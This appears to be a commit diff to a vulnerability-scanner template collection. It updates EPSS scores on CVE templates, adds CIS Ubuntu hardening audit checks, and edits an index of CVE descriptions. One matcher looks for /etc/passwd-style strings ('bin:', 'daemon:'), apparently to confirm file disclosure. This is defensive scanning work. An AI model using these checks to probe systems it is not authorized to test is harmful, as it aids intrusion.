- '"Reset URL: " + code_response'
# digest: 4b0a004830460221009563513650966d7597d5c8a5a46d49fcc84fef8e698e57b330209c7771a59eb2022100d88d01c549b914a0710335ce592d29c7af52323cd856699f6780c90afc140b37:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220241e5d8fa78304e9ce9146a699771dacaae96a8a8f503b9a0f8436eac0c805ac022100f1f018acd0203bd7596c08610d873afad29d3564d6650b2a7ad40b75b0d0f68d:922c64590222798bb761d5b6d8e72950
+1 -1
View File
@@ -18,7 +18,7 @@ info:
cvss-score: 9.8
cve-id: CVE-2025-68926
epss-score: 0.2903
epss-percentile: 0.9793
epss-percentile: 0.9797
cwe-id: CWE-798
metadata:
verified: true
+2 -2
View File
@@ -19,7 +19,7 @@ info:
cvss-score: 7.5
cve-id: CVE-2025-6984
epss-score: 0.01531
epss-percentile: 0.71736
epss-percentile: 0.72252
cwe-id: CWE-200
metadata:
verified: true
@@ -64,4 +64,4 @@ code:
- "bin:"
- "daemon:"
condition: or
# digest: 4b0a00483046022100b09735eee11bf2f17bfa345f0063b39ae6aa19e66bf2bc5fb1daefffced2bcd3022100a9c2a04c4d2d7a5beee4a942bcf043c172b2c2f2a5b4fb55dc326a0ee36dcd98:922c64590222798bb761d5b6d8e72950
# digest: 4b0a0048304602210086884ea7418c5da2f7352624eaae70805b422d9767b2d7d6df4e91a48ee89af902210095a2df7cf322027050b48b13e16e8ee69f0a9ec2b70002d897cc30ab7520a55c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -18,8 +18,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2025-9242
cwe-id: CWE-787,CWE-362
epss-score: 0.8637
epss-percentile: 0.99709
epss-score: 0.91121
epss-percentile: 0.99799
cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -552,4 +552,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a0047304502207c5ec28507f297a730ae76ad5a6b684be07faadc08f975366ca089b08c207a630221008561c1d8f9122d261eb8d36e7a7343f7a89fb8881769d1027bb4ea62bc10cea7:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207dd45583cb738504276133e641ac82d45049300ef936d6c5f170aa945d0990d3022100989cb1f0ab47c3cf36ff7d410e7052ce546a0a2d8f777cd5b9f60db1212044f1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -19,7 +19,7 @@ info:
cvss-score: 8.1
cve-id: CVE-2026-10795
epss-score: 0.03578
epss-percentile: 0.88
epss-percentile: 0.88233
cwe-id: CWE-347
metadata:
max-request: 2
@@ -85,4 +85,4 @@ http:
- 'status_code == 200'
- 'contains(body, "\"udrpc_message\":\"")'
condition: and
# digest: 4a0a00473045022100a881b582fed632f80412c76035e841db6494221b4f102f999bad2faddc3da3fb02204c4daa0834d7e0f354be0bab3c44eceafe0a2bd76d77e86fa6fcdd94188ae214:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022021dde40421adf566d49577b2796a7356192fb022d79c43aa063f23be35da166f022100ab84a6fdb0a746d3ba3e59b67bf7e645e70b5a00d50f16097be3e8a9d3937e4e:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-20182
epss-score: 0.87693
epss-percentile: 0.99738
epss-score: 0.90272
epss-percentile: 0.99787
cwe-id: CWE-287
cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
metadata:
@@ -272,4 +272,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a004730450220127e8b7b1bd730a8383479424cc229fed8fac958ae28c20c10d456bf9d083e38022100c4851e5ca05359bac2cd2824c20fb649a60295365f456fb3b4bbd7025a24d7b4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502204a1672d440651813571f9ffdfb60bd651acac07592a6463c928ba7d7d051c04f022100e389e3b294f239fe3e6c592e237d1a1fc9c5496f523c72127907ce3471ce90c6:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2026-24061
cwe-id: CWE-88
epss-score: 0.98871
epss-percentile: 0.99921
epss-score: 0.97878
epss-percentile: 0.99902
metadata:
verified: true
max-request: 1
@@ -49,4 +49,4 @@ code:
- "Last login"
- "Debian"
condition: and
# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502201257307de6bab285973679463c7ae83cef16fb2a1f7a96a43565f52b5ac99b32022100be087ec238ec2b3bee797dd5956d816fcdfc92d6d13ce1aff8317c3ec001319f:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.8
cve-id: CVE-2026-31431
epss-score: 0.96267
epss-percentile: 0.9987
epss-score: 0.94545
epss-percentile: 0.99846
cwe-id: CWE-787
cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
metadata:
@@ -139,4 +139,4 @@ code:
part: response
regex:
- 'VULNERABLE:.*'
# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100862251377e3b085e0ade4425432c18e77c3024186460ff9b7f9292e08d5290250220411cbc8f28be565f9da9c1cac4219f7f8a08a378e0e9d2c23fd356d065b2e354:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: apport-error-reporting-disabled-check
info:
name: Ensure Automatic Error Reporting is Not Enabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether the Apport automatic error reporting service is enabled.
remediation: |
Disable Apport by editing `/etc/default/apport` and setting:
enabled=0
If Apport is not required, remove it:
sudo apt remove apport -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,apport,error-reporting,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s apport &>/dev/null && grep -Psiq -- '^\h*enabled\h*=\h*[^0]\b' /etc/default/apport; then
echo "[apport-error-reporting-disabled-check:Policy-Fail] [Automatic Error Reporting is enabled] [CIS_FAIL] [medium]"
else
echo "[apport-error-reporting-disabled-check:Policy-Pass] [Automatic Error Reporting is disabled] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402200d37587f3a27f271e96ffbea88879b3f065db850de39a41b3ec97fb0c538f07b0220445de576573745b10d3e4d01b186ef72a9b7270bd0685634c45ddc4348243424:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
id: gdm-automount-removable-media-disabled-check
info:
name: Ensure GDM Automatic Mounting of Removable Media is Disabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether automatic mounting of removable media is disabled.
remediation: |
Disable automatic mounting and automatic opening of removable media in GDM.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,media,automount,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
automount=$(gsettings get org.gnome.desktop.media-handling automount 2>/dev/null)
automount_open=$(gsettings get org.gnome.desktop.media-handling automount-open 2>/dev/null)
if [ "$automount" = "false" ] && [ "$automount_open" = "false" ]; then
echo "[gdm-automount-removable-media-disabled-check:Policy-Pass] [Automatic mounting of removable media is disabled] [CIS_PASS] [medium]"
else
echo "[gdm-automount-removable-media-disabled-check:Policy-Fail] [Automatic mounting of removable media is enabled] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100d49ac46ebe2172ca1f5fa4fbd1d7e2c4c3964ce081c06e33a29d8d87f5789c020220162bf14558a7cd7eca0d7006654b7ba99ffc23fd118e9bd7df99babf6fe13ced:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
id: gdm-autorun-never-enabled-check
info:
name: Ensure GDM autorun-never is Enabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether GDM is configured to disable autorun for removable media.
remediation: |
Enable the `autorun-never` setting to prevent automatic execution of content
from removable media.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,autorun,media,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
autorun_never=$(gsettings get org.gnome.desktop.media-handling autorun-never 2>/dev/null)
if [ "$autorun_never" = "true" ]; then
echo "[gdm-autorun-never-enabled-check:Policy-Pass] [GDM autorun-never is enabled] [CIS_PASS] [medium]"
else
echo "[gdm-autorun-never-enabled-check:Policy-Fail] [GDM autorun-never is not enabled] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402206c80c1a86743871e9f595f4dcd2a4514b546b38bc6d19526607164c2e3cae9a4022051f4b192684563ca0434b43e54043fdf0111dcd7cc59c761d5ac11d4ae9f7af0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
id: gdm-disable-user-list-enabled-check
info:
name: Ensure GDM disable-user-list Option is Enabled
author: Th3l0newolf
severity: low
description: |
This template checks whether the GDM disable-user-list option is enabled.
remediation: |
Enable the `disable-user-list` option in GDM to prevent displaying the
list of local users on the login screen.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,login,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if [ "$(gsettings get org.gnome.login-screen disable-user-list 2>/dev/null)" = "true" ]; then
echo "[gdm-disable-user-list-enabled-check:Policy-Pass] [GDM disable-user-list option is enabled] [CIS_PASS] [low]"
else
echo "[gdm-disable-user-list-enabled-check:Policy-Fail] [GDM disable-user-list option is not enabled] [CIS_FAIL] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022025a93b7d3071b399ffeb3961566cdd9c923917af8678a1a885e811441fa04f01022100a84cee2408f06cfe157bdfcc217d3d32df9a8292f62566c1fad7b7b4542d4758:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: gdm-login-banner-configured-check
info:
name: Ensure GDM Login Banner is Configured
author: Th3l0newolf
severity: low
description: |
This template checks whether the GDM login banner is enabled and configured.
remediation: |
Enable the GDM login banner and configure an appropriate warning message
according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
enabled=$(gsettings get org.gnome.login-screen banner-message-enable 2>/dev/null)
banner=$(gsettings get org.gnome.login-screen banner-message-text 2>/dev/null)
if [ "$enabled" = "true" ] && [ -n "$banner" ] && [ "$banner" != "''" ]; then
echo "[gdm-login-banner-configured-check:Policy-Pass] [GDM login banner is enabled and configured] [CIS_PASS] [low]"
else
echo "[gdm-login-banner-configured-check:Policy-Fail] [GDM login banner is not enabled or not configured] [CIS_FAIL] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100e8489d5b348200a612586fc5e0fe4174623f220b4c1c44d330368d924251f574022057569da8e66eea1e3917a3111c07a2b48f45e4fbd94e6a20d27b35e1b5c732c4:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: gdm-removed-check
info:
name: Ensure GDM is Removed
author: Th3l0newolf
severity: medium
description: |
This template checks whether the GNOME Display Manager (GDM) is installed.
remediation: |
Remove the GDM package if it is not required:
sudo apt remove gdm3 -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,gdm3,package,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s gdm3 &>/dev/null; then
echo "[gdm-removed-check:Policy-Fail] [gdm3 is installed] [CIS_FAIL] [medium]"
else
echo "[gdm-removed-check:Policy-Pass] [gdm3 is not installed] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a00463044022004cdc95f83850e9d07aa99423acaff95f3f8d644cf673f3f6282fdb499e25cb70220500dbf49f39b14e13f1134f8c4723055f51e6147c5a0f0ca68c4e8e91987f660:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
id: gdm-screen-lock-idle-check
info:
name: Ensure GDM Screen Locks When the User is Idle
author: Th3l0newolf
severity: medium
description: |
This template checks whether the screen is configured to lock after a period of user inactivity.
remediation: |
Configure the screen lock settings to meet your organization's security policy:
- Set `lock-delay` to 5 seconds or less.
- Set `idle-delay` to 900 seconds (15 minutes) or less and ensure it is not disabled.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,screensaver,screenlock,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
lock_delay=$(gsettings get org.gnome.desktop.screensaver lock-delay 2>/dev/null | awk '{print $2}')
idle_delay=$(gsettings get org.gnome.desktop.session idle-delay 2>/dev/null | awk '{print $2}')
if [ -n "$lock_delay" ] && [ -n "$idle_delay" ] && \
[ "$lock_delay" -le 5 ] && \
[ "$idle_delay" -gt 0 ] && \
[ "$idle_delay" -le 900 ]; then
echo "[gdm-screen-lock-idle-check:Policy-Pass] [Screen lock is configured correctly] [CIS_PASS] [medium]"
else
echo "[gdm-screen-lock-idle-check:Policy-Fail] [Screen lock is not configured correctly] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100be8d82fc5c709641b04535b1b34c9e69db9602eb06a0e4b508c1c7dc598e2a30022065d4f36251f33969b7c7cac33ce18f1b0115cd6ff96f514b5f5f23e57064e639:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -21,7 +21,10 @@ code:
HOME_DIR=$(eval echo ~$user)
find "$HOME_DIR" -maxdepth 1 -type f \
\( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
-exec ls -l {} \; | awk -v usr="$user" '{
if ($3 != "root" && $3 != usr) print "INVALID_OWNER", $0
else print $0
}'
done
matchers:
@@ -36,5 +39,5 @@ code:
name: invalid-owner
part: response
regex:
- "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
- "^INVALID_OWNER"
# digest: 4b0a004830460221008f1026cc0254988a320127f54f6632957306601d6961aea2ac9a446cd5f6b9ab02210086b126c50bbc20138ad7477bb88eeaf1b605461def18dd415775fd23651b9758:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,47 @@
id: issue-file-permissions-check
info:
name: Ensure Access to /etc/issue is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/issue has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/issue`:
sudo chown root:root /etc/issue
sudo chmod 644 /etc/issue
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
mode=$(stat -Lc "%a" /etc/issue)
uid=$(stat -Lc "%u" /etc/issue)
gid=$(stat -Lc "%g" /etc/issue)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[issue-file-permissions-check:Policy-Pass] [/etc/issue ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[issue-file-permissions-check:Policy-Fail] [/etc/issue ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502204805f23b5b2fde38972210068588544f6d63ee85808fd260c1110d3bf74e0f81022100bcf8c34f4972f68f33fcbe9e00e7a9d4d88db7c5fbd44edc9015fdd09435e104:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,47 @@
id: issue-net-file-permissions-check
info:
name: Ensure Access to /etc/issue.net is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/issue.net has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/issue.net`:
sudo chown root:root /etc/issue.net
sudo chmod 644 /etc/issue.net
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue.net,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
mode=$(stat -Lc "%a" /etc/issue.net)
uid=$(stat -Lc "%u" /etc/issue.net)
gid=$(stat -Lc "%g" /etc/issue.net)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[issue-net-file-permissions-check:Policy-Pass] [/etc/issue.net ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[issue-net-file-permissions-check:Policy-Fail] [/etc/issue.net ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205b90b88bc4944dc3b9d5e1ffd449bfeba36ca31aa5b361d2925d6a9ffdfa31d2022100f198d2b9ea2306ea3da915e903f444320811814b645ca7199caa29242e77e657:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
id: local-login-warning-banner-configured-check
info:
name: Ensure Local Login Warning Banner is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the local login warning banner is configured
without exposing system information.
remediation: |
Edit `/etc/issue` and remove any operating system, kernel, architecture,
or version information that could disclose system details. Configure the
banner according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue >/dev/null 2>&1; then
echo "[local-login-warning-banner-configured-check:Policy-Fail] [/etc/issue contains system information] [CIS_FAIL] [low]"
else
echo "[local-login-warning-banner-configured-check:Policy-Pass] [/etc/issue is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100b7f3c0df5a197c8d43ee9e54731a4ca92fda92a03c083fc15c36747d0d38e7cb02201a669b82498409b20c9dfda008d11eeb57e395f382ba3c502504311f675c6653:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: motd-configured-properly-check
info:
name: Ensure Message of the Day is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the Message of the Day (MOTD) is configured
without exposing system information.
remediation: |
Edit `/etc/motd` and remove any operating system, kernel, architecture,
or version information that could disclose system details.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,motd,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/motd >/dev/null 2>&1; then
echo "[motd-configured-properly-check:Policy-Fail] [/etc/motd contains system information] [CIS_FAIL] [low]"
else
echo "[motd-configured-properly-check:Policy-Pass] [/etc/motd is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205a5f2adda2516b58a427743cc99efc6ebbb0ecde6a4c1675c8b74c47b485913d022100c0fc56c0137edea5823b5e5f0594b7f64e062c607da5c940a903cd81e6fb2dd4:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,52 @@
id: motd-file-permissions-check
info:
name: Ensure Access to /etc/motd is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/motd has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/motd`:
sudo chown root:root /etc/motd
sudo chmod 644 /etc/motd
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,motd,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if [ ! -e /etc/motd ]; then
echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd does not exist] [CIS_PASS] [medium]"
exit 0
fi
mode=$(stat -Lc "%a" /etc/motd)
uid=$(stat -Lc "%u" /etc/motd)
gid=$(stat -Lc "%g" /etc/motd)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[motd-file-permissions-check:Policy-Fail] [/etc/motd ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205337c124afb6ffea14ac939029a929394b67bfeadb6e6f0003cee0c40ffd1fa0022100b4febaa25daaaeb3a029834eeccccfdabb508014c26b9f131229f38f4c6b78b1:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: prelink-not-installed-check
info:
name: Ensure Prelink is Not Installed
author: Th3l0newolf
severity: medium
description: |
This template checks whether the prelink package is installed.
Prelink modifies binaries to decrease application startup time, but it
interferes with file integrity monitoring and is not recommended on
secure systems.
remediation: |
Remove the prelink package if it is installed:
sudo apt remove prelink -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,prelink,package,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s prelink &>/dev/null; then
echo "[prelink-not-installed-check:Policy-Fail] [prelink is installed] [CIS_FAIL] [medium]"
else
echo "[prelink-not-installed-check:Policy-Pass] [prelink is not installed] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100c4e5c119744b7079c44408522880e76d2c682b313df4d0f48dff17eeb1c1f7220220386bd07b1ae18d94f3c0dc5e6d1d0db5cee4e92d3109a171060d2f0555fe2ad5:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
id: remote-login-warning-banner-configured-check
info:
name: Ensure Remote Login Warning Banner is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the remote login warning banner is configured
without exposing system information.
remediation: |
Edit `/etc/issue.net` and remove any operating system, kernel, architecture,
or version information that could disclose system details. Configure the
banner according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue.net,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue.net >/dev/null 2>&1; then
echo "[remote-login-warning-banner-configured-check:Policy-Fail] [/etc/issue.net contains system information] [CIS_FAIL] [low]"
else
echo "[remote-login-warning-banner-configured-check:Policy-Pass] [/etc/issue.net is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502202065d10bad394d8529bc1b5346c26671b0fbf5b686bf3ce722361eedb25a8f40022100d64ffaa84730831df0d67eae2bbf88173117bbee798d3bb1f93fd64bb278a428:922c64590222798bb761d5b6d8e72950
+10
View File
@@ -1529,5 +1529,15 @@
"website": "https://marcialpaulg.com",
"email": "[email protected]"
}
},
{
"author": "zer0p0int",
"links": {
"github": "https://github.com/zer0p0intvvv",
"twitter": "",
"linkedin": "",
"website": "",
"email": ""
}
}
]
+63 -6
View File
@@ -21,7 +21,7 @@
{"ID":"CVE-2008-1059","Info":{"Name":"WordPress Sniplets 1.1.2 - Local File Inclusion","Severity":"high","Description":"PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2008/CVE-2008-1059.yaml"}
{"ID":"CVE-2008-1061","Info":{"Name":"WordPress Sniplets \u003c=1.2.2 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2008/CVE-2008-1061.yaml"}
{"ID":"CVE-2008-1547","Info":{"Name":"Microsoft OWA Exchange Server 2003 - 'redir.asp' Open Redirection","Severity":"medium","Description":"Open redirect vulnerability in exchweb/bin/redir.asp in Microsoft Outlook Web Access (OWA) for Exchange Server 2003 SP2 (aka build 6.5.7638) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the URL parameter.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2008/CVE-2008-1547.yaml"}
{"ID":"CVE-2008-2052","Info":{"Name":"Bitrix Site Management 2.x - Open Redirect","Severity":"medium","Description":"Bitrix Site Management 2.x contains an open redirect vulnerability allowing attackers to redirect users to arbitrary external sites via crafted redirect parameters.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2008/CVE-2008-2052.yaml"}
{"ID":"CVE-2008-2052","Info":{"Name":"Bitrix Site Manager 6.5 - Open Redirect","Severity":"medium","Description":"Bitrix Site Manager 6.5 contains an open redirect vulnerability in redirect.php. Remote attackers can redirect users to arbitrary web sites and conduct phishing attacks via a URL in the goto parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2008/CVE-2008-2052.yaml"}
{"ID":"CVE-2008-2398","Info":{"Name":"AppServ Open Project \u003c=2.5.10 - Cross-Site Scripting","Severity":"medium","Description":"AppServ Open Project 2.5.10 and earlier contains a cross-site scripting vulnerability in index.php which allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2008/CVE-2008-2398.yaml"}
{"ID":"CVE-2008-2650","Info":{"Name":"CMSimple 3.1 - Local File Inclusion","Severity":"medium","Description":"CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2008/CVE-2008-2650.yaml"}
{"ID":"CVE-2008-4668","Info":{"Name":"Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion","Severity":"critical","Description":"Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2008/CVE-2008-4668.yaml"}
@@ -398,7 +398,6 @@
{"ID":"CVE-2016-7834","Info":{"Name":"Sony IPELA Engine IP Camera - Hardcoded Account","Severity":"high","Description":"Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2016/CVE-2016-7834.yaml"}
{"ID":"CVE-2016-7981","Info":{"Name":"SPIP \u003c3.1.2 - Cross-Site Scripting","Severity":"medium","Description":"SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2016/CVE-2016-7981.yaml"}
